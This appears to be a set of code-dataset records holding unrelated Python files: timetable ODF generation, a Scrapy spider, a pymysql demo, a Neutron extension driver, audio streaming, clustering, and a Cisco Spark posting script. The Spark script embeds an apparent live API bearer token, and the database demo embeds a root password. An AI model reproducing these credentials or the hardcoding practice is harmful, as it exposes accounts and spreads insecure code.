check_network_status\n\n\nclass CheckNetworkStatusTestCase(unittest.TestCase):\n def setUp(self):\n self.url = 'http://test.com'\n self.time = 1\n self.urlopen_mock = mock.Mock()\n\n def test_positive_execution(self):\n with mock.patch('urllib2.urlopen', self.urlopen_mock):\n self.assertTrue(check_network_status(self.url, self.time))\n self.urlopen_mock.assert_called_with(url=self.url, timeout=self.time)\n\n def test_negative_execution(self):\n with mock.patch('urllib2.urlopen', self.urlopen_mock):\n self.urlopen_mock.side_effect = socket.error\n self.assertFalse(check_network_status(self.url, self.time))\n self.urlopen_mock.assert_called_with(url=self.url, timeout=self.time)", "sub_path": "source/tests/Tests_for_redirect_checker/test_check_network_status.py", "file_name": "test_check_network_status.py", "file_ext": "py", "file_size_in_byte": 830, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "unittest.TestCase", "line_number": 8, "usage_type": "attribute"}, {"api_name": "mock.Mock", "line_number": 12, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 15, "usage_type": "call"}, {"api_name": "lib.utils.check_network_status", "line_number": 16, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 20, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 21, "usage_type": "attribute"}, {"api_name": "lib.utils.check_network_status", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "151373724", "text": "#!/usr/bin/python\nimport sys, getopt\nimport csv\n\nfrom lxml import etree as ET\n\n\n\nimport time\nimport xml.dom.minidom\n#from xml.etree import ElementTree as ET\nfrom datetime import datetime\nfrom itertools import chain\nfrom odf.opendocument import OpenDocumentText\nfrom odf.style import Style, TextProperties, ParagraphProperties,TableCellProperties, GraphicProperties\nfrom odf.text import P, H, List, ListItem\nfrom odf.table import Table, TableColumn, TableRow, TableCell\nfrom odf import table, text\n\nfilet = \"/home/asier/fet-results/timetables/Horario_19-20-Comp-single/Horario_19-20-Comp_teachers.xml\"\nfileg = \"/home/asier/fet-results/timetables/Horario_19-20-Comp-single/Horario_19-20-Comp_subgroups.xml\"\n\ntree = ET.parse(fileg) \nroot = tree.getroot()\n\ntree2 = ET.parse(filet) \nroot2 = tree2.getroot()\n\norduak = ['08:30-9:25','09:25-10:20','10:20-11:15', '11:15-11:45','11:45-12:40','12:40-13:35', '13:35-14:30','14:30-15:20']\n\n\nh1style = Style(name=\"Heading 1\", family=\"paragraph\",parentstylename=\"Heading 1\")\nh1style.addElement(GraphicProperties(fill=\"solid\",fillcolor=\"#e6e6ff\"))\nh1style.addElement(TextProperties(attributes={'fontsize':\"14pt\",'fontweight':\"bold\",'color':\"#000099\" }))\nh1style.addElement(ParagraphProperties(breakbefore=\"page\",margintop=\"0.4cm\",marginbottom=\"0.2cm\",backgroundcolor=\"#e6e6ff\",padding=\"0.05cm\",borderleft=\"none\",borderright=\"none\",bordertop=\"none\",borderbottom=\"2.01pt solid #000099\",shadow=\"none\"))\n\n# Create a style for the paragraph with page-break\nwithbreak = Style(name=\"WithBreak\", parentstylename=\"Standard\", family=\"paragraph\")\nwithbreak.addElement(ParagraphProperties(breakbefore=\"page\"))\n\nTAB_style = Style(name=\"Table\", family=\"table-cell\")\nTAB_style.addElement(TableCellProperties(border=\"0.05pt solid #000000\"))\n\ntableheaders = Style(name=\"Table Headers\", family=\"paragraph\", parentstylename=\"Standard\")\ntableheaders.addElement(ParagraphProperties(numberlines=\"false\", linenumber=\"0\",textalign=\"center\",margintop=\"0.2cm\",marginbottom=\"0.2cm\"))\ntableheaders.addElement(TextProperties(attributes={'fontsize':\"12pt\",'fontweight':\"bold\"}))\n\ndef createdoc():\n \n textdoc = OpenDocumentText()\n #def textdoc_init():\n textdoc.automaticstyles.addElement(withbreak)\n textdoc.automaticstyles.addElement(TAB_style)\n textdoc.styles.addElement(tableheaders)\n textdoc.automaticstyles.addElement(h1style)\n return textdoc\n\n\ndef print_odf(Matrix,name,textdoc,odtfile): \n hours = len(Matrix)\n h=text.H(outlinelevel=1, stylename=h1style, text=name)\n textdoc.text.addElement(h)\n datatable = table.Table(name=\"local-table\")\n t = table.TableColumns()\n t.addElement(table.TableColumn(numbercolumnsrepeated=6))\n datatable.addElement(t)\n t = table.TableRows()\n datatable.addElement(t)\n tr = table.TableRow()\n t.addElement(tr)\n egunak = {'eu':['Saioa','Astelehena','Asteartea','Asteazkena','Osteguna','Ostirala'],\n 'es': [\"Sesión\",\"Lunes\",\"Martes\",\"Miércoles\",\"Jueves\",\"Viernes\"]}\n for eguna in egunak[lang]:\n tc = TableCell(stylename=\"Table\")\n tr.addElement(tc)\n p = P(stylename=tableheaders,text=eguna)\n tc.addElement(p)\n for hour in range(hours):\n #if hour == 3:\n #tr = table.TableRow()\n #t.addElement(tr)\n #continue\n tr = table.TableRow()\n t.addElement(tr)\n tc = table.TableCell(valuetype=\"string\", stylename=\"Table\")\n tr.addElement(tc)\n tc.addElement(text.P(text=orduak[hour]))\n for day in range(5):\n tc = table.TableCell(valuetype=\"string\", stylename=\"Table\")\n tr.addElement(tc)\n for activity in Matrix[hour][day]:\n tc.addElement(text.P(text=activity))\n #tc.addElement(text.P(text=' - '.join(Matrix[hour][day])))\n textdoc.text.addElement(datatable)\n \n\n textdoc.save(odtfile)\n\n\ndef findsg(groups,lang,trans,verbose=False):\n textdoc = createdoc() \n p = text.P(text=u'Horarios por grupos')\n textdoc.text.addElement(p)\n ikas = set()\n for group in groups:\n subgroups = root.xpath(\".//Subgroup[starts-with(@name,'\"+group+\"')]\")\n print(\".//Subgroup[starts-with(@name,'\"+group+\"')]\")\n w, h = 5, 8 \n Matrix = [[[] for x in range(w)] for y in range(h)] \n for s in subgroups: \n #print(s.attrib['name'])\n ds = s.findall(\".//Day\")\n i = 0\n for d in ds:\n hs = d.findall(\".//Hour\")\n j = 0\n for h in hs:\n sub = h.findall(\".//Subject\")\n room = h.findall(\".//Room\")\n if room != []:\n room = room[0].attrib['name']\n else:\n room = ''\n if sub != []:\n name = sub[0].attrib['name']\n if lang == 'es' and name in trans.keys():\n name = trans[name] \n #else:\n #with open(\"/media/asier/Erregeton/python-horarios/corregidos/itzulpena.csv\", 'a') as f:\n #writer = csv.writer(f)\n #writer.writerow([name,''])\n #if lang == 'eu' and name not in trans.keys():\n #print(name) \n #ikas.add(name)\n if sub != [] and Matrix[j][i].count(name+' ('+room+')')==0:\n #print(d.attrib['name'],h.attrib['name'],name)\n #print(i,j)\n Matrix[j][i].append(name+' ('+room+')')\n j += 1\n i += 1\n print(group)\n if group[0]<\"5\" or group[-1] < 'H':\n dbh = True\n else:\n dbh = False\n #with open(\"/media/asier/Erregeton/python-horarios/corregidos/itzulpena.csv\", 'a') as f:\n #for name in ikas:\n #writer = csv.writer(f)\n #writer.writerow([name,''])\n #printmat(Matrix,verbose)\n print_odf(Matrix,group,textdoc,\"ordutegia_ikasle\"+lang+\".odt\")\n\ndef findteachergroups(groups,lang,trans,verbose=False):\n textdoc = createdoc() \n p = text.P(text=u'Profesores por grupos')\n textdoc.text.addElement(p)\n ikas = set()\n for group in groups:\n subgroups = root.xpath(\".//Subgroup[starts-with(@name,'\"+group+\"')]\")\n print(\".//Subgroup[starts-with(@name,'\"+group+\"')]\")\n for s in subgroups: \n ds = s.findall(\".//Day\")\n i = 0\n for d in ds:\n hs = d.findall(\".//Hour\")\n j = 0\n for h in hs:\n sub = h.findall(\".//Subject\")\n teacher = h.findall(\".//Teacher\")\n if teacher != []:\n teacher = teacher[0].attrib['name']\n else:\n teacher = ''\n if sub != []:\n name = sub[0].attrib['name']\n if lang == 'es' and name in trans.keys():\n name = trans[name] \n print(teacher,\": \",name)\n with open(\"/media/asier/Erregeton/python-horarios/corregidos/profesores.csv\", 'a') as f:\n writer = csv.writer(f)\n writer.writerow([group,teacher,name])\n #print_odf(Matrix,group,textdoc,\"irakasle_ikasle\"+lang+\".odt\")\n\n\n\n\ndef findt(lang,trans):\n teachers = root2.xpath(\".//Teacher\")\n textdoc = createdoc() \n #p = text.P(text=u'Horarios por profesores')\n #textdoc.text.addElement(p)\n \n w1, h1 = 5, 8 \n #Matrix = [[[] for x in range(w)] for y in range(h)]\n for s in teachers: \n group = s.attrib.get('name')\n #print(s.attrib['name'])\n ds = s.findall(\".//Day\")\n i = 0\n Matrix = [[[] for x in range(w1)] for y in range(h1)]\n for d in ds:\n hs = d.findall(\".//Hour\")\n j = 0\n for h in hs:\n sub = h.findall(\".//Subject\")\n stud = h.findall(\".//Students\")\n room = h.findall(\".//Room\")\n stu = []\n for st in stud:\n stu.append(st.attrib.get('name')[0]+st.attrib.get('name')[2])\n if room != []:\n gela = room[0].attrib['name']\n if sub != []:\n name = sub[0].attrib['name']\n if lang == 'es' and name in trans.keys():\n name = trans[name]\n if sub != [] and Matrix[j][i].count(name)==0:\n #print(d.attrib['name'],h.attrib['name'],name)\n #print(i,j)\n if stu != '' and name != 'Zaintza' and name[:2] != 'MB':\n text = name + ' (' + '-'.join(stu) + ')/(' + gela + ')'\n elif name == 'Zaintza':\n text = name + ' (' + room[0].attrib['name'] + ')'\n elif name[:2] == 'MB':\n text = name + ' (' + room[0].attrib['name'][0] + ')'\n else:\n text = name\n Matrix[j][i].append(text)\n j += 1\n i += 1\n print(group)\n print_odf(Matrix,group,textdoc,\"ordutegia_irakasle.odt\")\n\n\ndef findzaintza():\n teachers = root2.xpath(\".//Teacher\")\n textdoc = createdoc() \n \n w1, h1 = 5, 7\n Matrix1 = [[[] for x in range(w1)] for y in range(h1)]\n Matrix2 = [[[] for x in range(w1)] for y in range(h1)]\n for s in teachers: \n teacher = s.attrib.get('name')\n #print(s.attrib['name'])\n ds = s.findall(\".//Day\")\n i = 0\n for d in ds:\n hs = d.findall(\".//Hour\")\n j = 0\n for h in hs:\n sub = h.findall(\".//Subject\")\n room = h.findall(\".//Room\")\n if room != [] and sub != [] and room[0].attrib['name'][-1] == \"1\" and sub[0].attrib['name'] == \"Zaintza\":\n Matrix1[j][i].append(teacher)\n if room != [] and sub != [] and room[0].attrib['name'][-1] == \"2\" and sub[0].attrib['name'] == \"Zaintza\":\n Matrix2[j][i].append(teacher)\n j += 1\n i += 1\n print_odf(Matrix1,\"zaintza\",textdoc,\"ordutegia_zaintza.odt\")\n print_odf(Matrix2,\"zaintza\",textdoc,\"ordutegia_zaintza.odt\")\n\n\ndef printmat(mat,verbose=False):\n h = len(mat)\n for j in range(h):\n for i in range(5):\n if mat[j][i] == [] and j != 3 and not((j == 7) and (i == 4)):\n print(mat[j][i],\"FALTA!!\",end=\"\\t\")\n elif verbose:\n print(mat[j][i],end=\"\\t\")\n print(\"\\n\")\n if verbose: print()\n\ndef loadtranslations(incsvfile):\n trans = {}\n with open(incsvfile, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n for row in spamreader:\n trans[row[0]] = row[1]\n return trans\n\ndef loadtranslationsInverse(incsvfile):\n trans = {}\n with open(incsvfile, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n for row in spamreader:\n trans[row[1]] = row[0]\n return trans\n\ngroups = ['1-A','1-B','1-C','1-D','1-E','1-F','1-H','1-I','1-J','2-A','2-B','2-C','2-D''2-E','2-F','2-H','2-I','2-J','2-K','UCE','3-A','3-B','3-C','3-D','3-E','3-H','3-I','3-J','3-K','3-L','4-A','4-B','4-C','4-D','4-H','4-I','4-J','4-K','5-A','5-B','5-H','5-I','6-A','6-B','6-H','6-I']\ngroups = ['2-E']\nlang = 'es'\ntrans = loadtranslations(\"/media/asier/Erregeton/python-horarios/corregidos/itzulpena.csv\")\n#findsg(groups,lang,trans)\n\n#lang = 'eu'\n#trans = loadtranslationsInverse(\"/media/asier/Erregeton/python-horarios/corregidos/itzulpena.csv\")\n#findsg(groups,lang,trans)\n#findt(lang,trans)\n#findzaintza()\nfindteachergroups(groups,lang,trans)\n", "sub_path": "ordutegia/Tools/testgroups.py", "file_name": "testgroups.py", "file_ext": "py", "file_size_in_byte": 12000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "lxml.etree.parse", "line_number": 23, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 23, "usage_type": "name"}, {"api_name": "lxml.etree.parse", "line_number": 26, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 26, "usage_type": "name"}, {"api_name": "odf.style.Style", "line_number": 32, "usage_type": "call"}, {"api_name": "odf.style.GraphicProperties", "line_number": 33, "usage_type": "call"}, {"api_name": "odf.style.TextProperties", "line_number": 34, "usage_type": "call"}, {"api_name": "odf.style.ParagraphProperties", "line_number": 35, "usage_type": "call"}, {"api_name": "odf.style.Style", "line_number": 38, "usage_type": "call"}, {"api_name": "odf.style.ParagraphProperties", "line_number": 39, "usage_type": "call"}, {"api_name": "odf.style.Style", "line_number": 41, "usage_type": "call"}, {"api_name": "odf.style.TableCellProperties", "line_number": 42, "usage_type": "call"}, {"api_name": "odf.style.Style", "line_number": 44, "usage_type": "call"}, {"api_name": "odf.style.ParagraphProperties", "line_number": 45, "usage_type": "call"}, {"api_name": "odf.style.TextProperties", "line_number": 46, "usage_type": "call"}, {"api_name": "odf.opendocument.OpenDocumentText", "line_number": 50, "usage_type": "call"}, {"api_name": "odf.text.H", "line_number": 61, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 61, "usage_type": "name"}, {"api_name": "odf.table.Table", "line_number": 63, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 63, "usage_type": "name"}, {"api_name": "odf.table.TableColumns", "line_number": 64, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 64, "usage_type": "name"}, {"api_name": "odf.table.TableColumn", "line_number": 65, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 65, "usage_type": "name"}, {"api_name": "odf.table.TableRows", "line_number": 67, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 67, "usage_type": "name"}, {"api_name": "odf.table.TableRow", "line_number": 69, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 69, "usage_type": "name"}, {"api_name": "odf.table.TableCell", "line_number": 74, "usage_type": "call"}, {"api_name": "odf.text.P", "line_number": 76, "usage_type": "call"}, {"api_name": "odf.table.TableRow", "line_number": 83, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 83, "usage_type": "name"}, {"api_name": "odf.table.TableCell", "line_number": 85, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 85, "usage_type": "name"}, {"api_name": "odf.text.P", "line_number": 87, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 87, "usage_type": "name"}, {"api_name": "odf.table.TableCell", "line_number": 89, "usage_type": "call"}, {"api_name": "odf.table", "line_number": 89, "usage_type": "name"}, {"api_name": "odf.text.P", "line_number": 92, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 92, "usage_type": "name"}, {"api_name": "odf.text.P", "line_number": 102, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 102, "usage_type": "name"}, {"api_name": "odf.text.P", "line_number": 155, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 155, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 180, "usage_type": "call"}, {"api_name": "odf.text", "line_number": 221, "usage_type": "name"}, {"api_name": "odf.text", "line_number": 223, "usage_type": "name"}, {"api_name": "odf.text", "line_number": 225, "usage_type": "name"}, {"api_name": "odf.text", "line_number": 227, "usage_type": "name"}, {"api_name": "odf.text", "line_number": 228, "usage_type": "argument"}, {"api_name": "csv.reader", "line_number": 277, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 285, "usage_type": "call"}]} +{"seq_id": "609547565", "text": "import scrapy\n\n\nclass BigmkSpider(scrapy.Spider):\n name = \"bigmk\"\n start_urls = [\n 'https://www.bigmk.ph/c-mobiles-tablets-563.html',\n ]\n\n def parse(self, response):\n for elem in response.css('li.items-gallery.itemsList'):\n yield {\n 'title': elem.css('div.goodinfo h3 a.entry-title::text').extract_first().strip(),\n 'link': 'https://www.bigmk.ph' + elem.css('div.goodinfo h3 a.entry-title::attr(\"href\")').extract_first(),\n }\n next_page = response.css('div.pages_bar a::attr(\"href\")').extract()[-2]\n\n if next_page is not None:\n yield response.follow(next_page, self.parse)\n", "sub_path": "siteUrlsScrappers/ScrapperBigmk.py", "file_name": "ScrapperBigmk.py", "file_ext": "py", "file_size_in_byte": 675, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "scrapy.Spider", "line_number": 4, "usage_type": "attribute"}]} +{"seq_id": "644567454", "text": "\"\"\"\n数据库写操作\n\"\"\"\n\nimport pymysql\n\n# 连接数据库\ndb = pymysql.connect(host='localhost',\n port=3306,\n user='root',\n passwd='123456',\n database='stu',\n charset='utf8')\n\n# 创建游标\ncur = db.cursor()\n\ntry:\n # 插入操作\n sql = \"insert into interest values(5,'Lily','sing','A','9999','优秀');\"\n cur.execute(sql)\n\n # 修改操作\n sql = \"update interest set price=8686 where name = 'Jam';\"\n cur.execute(sql)\n\n # 删除操作\n sql = \"delete from class_1 where id > 7;\"\n cur.execute(sql)\n\n db.commit()\n\nexcept Exception as e:\n db.rollback()\n print(e)\nelse:\n print(\"操作成功\")\n\ncur.close()\ndb.close()\n", "sub_path": "Mr.左/mothon02/代码/mysql/write_db.py", "file_name": "write_db.py", "file_ext": "py", "file_size_in_byte": 756, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pymysql.connect", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "630667157", "text": "# Copyright 2015 Intel Corporation.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom oslo_log import log as logging\n\nfrom neutron.common import utils\nfrom neutron.db.models import external_net\nfrom neutron.plugins.ml2 import driver_api as api\n\nfrom nuage_neutron.plugins.common import base_plugin\nfrom nuage_neutron.plugins.common import nuagedb\nfrom nuage_neutron.plugins.common.time_tracker import TimeTracker\n\nfrom sqlalchemy.orm import exc\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass NuageSubnetExtensionDriver(api.ExtensionDriver,\n base_plugin.RootNuagePlugin):\n _supported_extension_alias = 'nuage-subnet'\n\n def initialize(self):\n super(NuageSubnetExtensionDriver, self).__init__()\n self.init_vsd_client()\n\n @property\n def extension_alias(self):\n return self._supported_extension_alias\n\n def _is_network_external(self, session, net_id):\n try:\n session.query(\n external_net.ExternalNetwork).filter_by(\n network_id=net_id).one()\n return True\n except exc.NoResultFound:\n return False\n\n def process_create_subnet(self, plugin_context, data, result):\n result['net_partition'] = data['net_partition']\n result['nuagenet'] = data['nuagenet']\n result['underlay'] = data['underlay']\n result['nuage_uplink'] = data['nuage_uplink']\n\n @utils.exception_logger()\n @TimeTracker.tracked\n def extend_subnet_dict(self, session, db_data, result):\n if self._is_network_external(session, db_data['network_id']):\n nuage_subnet = self.get_vsd_shared_subnet_attributes(\n result['id'])\n if nuage_subnet:\n result['underlay'] = nuage_subnet['underlay']\n result['nuage_uplink'] = nuage_subnet['sharedResourceParentID']\n subnet_mapping = nuagedb.get_subnet_l2dom_by_id(session, result['id'])\n if subnet_mapping:\n result['vsd_managed'] = subnet_mapping['nuage_managed_subnet']\n else:\n result['vsd_managed'] = False\n return result\n", "sub_path": "nuage_neutron/plugins/nuage_ml2/nuage_subnet_ext_driver.py", "file_name": "nuage_subnet_ext_driver.py", "file_ext": "py", "file_size_in_byte": 2672, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "oslo_log.log.getLogger", "line_number": 29, "usage_type": "call"}, {"api_name": "oslo_log.log", "line_number": 29, "usage_type": "name"}, {"api_name": "neutron.plugins.ml2.driver_api.ExtensionDriver", "line_number": 32, "usage_type": "attribute"}, {"api_name": "neutron.plugins.ml2.driver_api", "line_number": 32, "usage_type": "name"}, {"api_name": "nuage_neutron.plugins.common.base_plugin.RootNuagePlugin", "line_number": 33, "usage_type": "attribute"}, {"api_name": "nuage_neutron.plugins.common.base_plugin", "line_number": 33, "usage_type": "name"}, {"api_name": "neutron.db.models.external_net.ExternalNetwork", "line_number": 47, "usage_type": "attribute"}, {"api_name": "neutron.db.models.external_net", "line_number": 47, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.exc", "line_number": 50, "usage_type": "name"}, {"api_name": "nuage_neutron.plugins.common.nuagedb.get_subnet_l2dom_by_id", "line_number": 68, "usage_type": "call"}, {"api_name": "nuage_neutron.plugins.common.nuagedb", "line_number": 68, "usage_type": "name"}, {"api_name": "neutron.common.utils.exception_logger", "line_number": 59, "usage_type": "call"}, {"api_name": "neutron.common.utils", "line_number": 59, "usage_type": "name"}, {"api_name": "nuage_neutron.plugins.common.time_tracker.TimeTracker.tracked", "line_number": 60, "usage_type": "attribute"}, {"api_name": "nuage_neutron.plugins.common.time_tracker.TimeTracker", "line_number": 60, "usage_type": "name"}]} +{"seq_id": "571986505", "text": "from datetime import datetime\nfrom hashlib import sha1\nfrom unicodedata import normalize as ucnorm, category\n\n\ndef make_key(*a):\n parts = []\n for part in a:\n if isinstance(part, datetime):\n part = part.isoformat()\n elif part is None:\n part = '**'\n else:\n part = unicode(part)\n parts.append(part)\n return sha1('||'.join(parts)).hexdigest()\n\n\ndef flatten(d, sep='_'):\n out = {}\n for k, v in d.items():\n if isinstance(v, dict):\n for ik, iv in flatten(v, sep=sep).items():\n out[k + sep + ik] = iv\n else:\n out[k] = v\n return out\n\n\ndef slugify(text):\n if not isinstance(text, unicode):\n text = unicode(text)\n text = text.lower()\n decomposed = ucnorm('NFKD', text)\n filtered = []\n for char in decomposed:\n cat = category(char)\n if char == \"'\" or cat.startswith('M') or cat.startswith('S'):\n continue\n elif cat.startswith('L') or cat.startswith('N'):\n filtered.append(char)\n else:\n filtered.append('-')\n text = u''.join(filtered)\n while '--' in text:\n text = text.replace('--', '-')\n text = text.strip()\n return ucnorm('NFKC', text).encode('ascii', 'ignore')\n", "sub_path": "regenesis/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 1283, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.datetime", "line_number": 9, "usage_type": "argument"}, {"api_name": "hashlib.sha1", "line_number": 16, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 34, "usage_type": "call"}, {"api_name": "unicodedata.category", "line_number": 37, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "286452066", "text": "import pyaudio\nimport numpy as np\n\n# def audio_datalist_set_volume(datalist, volume):\n# \"\"\" Change value of list of audio chunks \"\"\"\n# sound_level = (volume / 100.)\n\n# for i in range(len(datalist)):\n# chunk = np.fromstring(datalist[i], np.int16)\n\n# chunk = chunk * sound_level\n\n# datalist[i] = chunk.astype(np.int16)\n\nchunk=8192\n# 4096\nRATE=48000\n# 44100\n\np=pyaudio.PyAudio()\n\n#input stream setup\nstream=p.open(format = pyaudio.paInt16,rate=RATE,channels=1, input_device_index = 2, input=True, frames_per_buffer=chunk)\n\n#the code below is from the pyAudio library documentation referenced below\n#output stream setup\nplayer=p.open(format = pyaudio.paInt16,rate=RATE,channels=1, output=True, frames_per_buffer=chunk)\n\nwhile True: #Used to continuously stream audio\n data=np.fromstring(stream.read(chunk,exception_on_overflow = False),dtype=np.int16)\n# audio_datalist_set_volume(data, 90)\n player.write(data,chunk)\n \n#closes streams\nstream.stop_stream()\nstream.close()\np.terminate\n", "sub_path": "Lab 3/stream_audio.py", "file_name": "stream_audio.py", "file_ext": "py", "file_size_in_byte": 1041, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pyaudio.PyAudio", "line_number": 20, "usage_type": "call"}, {"api_name": "pyaudio.paInt16", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pyaudio.paInt16", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.fromstring", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 30, "usage_type": "attribute"}]} +{"seq_id": "117181703", "text": "import numpy as np\nimport scipy.cluster.hierarchy as sch\nfrom scipy.spatial import distance as ssd\nimport sys\nsys.setrecursionlimit(90000)\n\nclass DisjointSet:\n\n \"\"\"\n Barebones implementation of disjoint set\n The one in pypi ran into an unresolved error for high number of union operations\n Each array index represents an element, and the value, its parent\n 2 nodes are in the same set if they share the same root (node with itself as a parent)\n \n union: join 2 sets\n find: find the set (root) of node i. traverse array until root. Along the way\n change all nodes parents to the root for faster finds in future\n\n \"\"\"\n\n def __init__(self,n = None):\n\n \n self.size = n\n self.parent = [i for i in range(n)]\n self.rank = [0 for _ in range(n)]\n\n def find(self,i):\n\n if i > self.size - 1:\n\n raise ValueError(f\"{i} exceeds set length\")\n\n if i != self.parent[i]:\n\n self.parent[i] = self.find(self.parent[i])\n\n return self.parent[i]\n\n def union(self, i,j):\n\n i_id = self.find(i)\n j_id = self.find(j)\n if i_id == j_id:\n\n return\n if self.rank[i_id] > self.rank[j_id]:\n\n self.parent[j_id] = i_id\n\n else:\n\n self.parent[i_id] = j_id\n if self.rank[i_id] == self.rank[j_id]:\n\n self.rank[j_id] = self.rank[j_id] + 1\n\nclass metaCluster:\n\n\n def __init__(self, cluster_runs, labels):\n\n \"\"\"\n labels: names for the points\n cluster_runs. Matrix of (n_cluster_runs, n_points)\n where the i,j element is the community assigned at point j\n in cluster run i\n \"\"\"\n self.labels = labels\n self.coMatrix = self._getCoMatrix(cluster_runs)\n\n def majorityVote(self,t):\n\n clusters = DisjointSet(len(self.labels))\n\n for i in range(self.coMatrix.shape[0]):\n\n for j in range(self.coMatrix.shape[1]):\n\n if self.coMatrix[i,j] > t:\n\n clusters.union(i,j)\n return np.array([clusters.find(i) for i in range(len(self.labels))])\n\n def _getCoMatrix(self,cluster_runs):\n\n coMatrix = np.zeros((cluster_runs.shape[1], cluster_runs.shape[1]))\n for row in cluster_runs:\n\n unique_vals = np.unique(row)\n for val in unique_vals:\n\n idxs = np.where(row == val)[0]\n meshed = np.meshgrid(idxs, idxs)\n coMatrix[meshed[0].reshape(1,-1), meshed[1].reshape(1,-1)] += 1\n \n\n coMatrix /= cluster_runs.shape[0]\n return coMatrix\n\n def HAC(self, t, distance):\n\n D = 1 - self.coMatrix\n linkage = sch.linkage(ssd.squareform(D), method = distance, metric = \"euclidian\")\n return sch.fcluster(linkage, t, \"distance\")\n", "sub_path": "food_drug_interaction_network/metaClustering.py", "file_name": "metaClustering.py", "file_ext": "py", "file_size_in_byte": 2809, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.linkage", "line_number": 104, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy", "line_number": 104, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.squareform", "line_number": 104, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 104, "usage_type": "name"}, {"api_name": "scipy.cluster.hierarchy.fcluster", "line_number": 105, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy", "line_number": 105, "usage_type": "name"}]} +{"seq_id": "238161864", "text": "#!/usr/bin/env python\n\"\"\"\n Posts a message in room mentioned\n :param room_id: Spark Room Id\n :param message: Message to be posted in the room\n\"\"\"\n\nimport json\nimport app\nimport logging\nimport requests\nimport healthcheck_config\n\nlogger = logging.getLogger(__name__)\n\nlogger.setLevel(logging.INFO)\n\nformatter = logging.Formatter('%(asctime)s:%(levelname)s:%(name)s:%(message)s')\n\nfile_handler = logging.FileHandler('healthcheck.log')\nstream_handler = logging.StreamHandler()\n\nfile_handler.setFormatter(formatter)\nstream_handler.setFormatter(formatter)\n\nlogger.addHandler(file_handler)\nlogger.addHandler(stream_handler)\n\nroom_id = {'Test': '039d4d00-25bc-11e8-a6c5-8b3c9ec34d95'}\n\nspark_url = 'https://api.ciscospark.com/v1/messages'\nbearer_token = 'MDgwMTQ5NGUtZWViOS00NzYyLWE1ZTItOGM4NmMzYTFhNDMxZmE4MjY3OGUtYmM5'\n\n\ndef post_message(room_id, message):\n\n headers = {'Content-Type':'application/json','Authorization': 'Bearer ' + bearer_token}\n payload = {'roomId':room_id, 'markdown':message}\n logger.info('Message:' + message)\n res = requests.post(spark_url, data=json.dumps(payload), headers=headers)\n logger.info(res.text)\n if res.status_code == 200:\n logger.info('Successfully posted the message')\n return True\n else:\n logger.info('Message could not be posted, error: ' + str(res.status_code))\n return False\n", "sub_path": "monitor_microservices/healthcheck_sparkpost.py", "file_name": "healthcheck_sparkpost.py", "file_ext": "py", "file_size_in_byte": 1368, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": 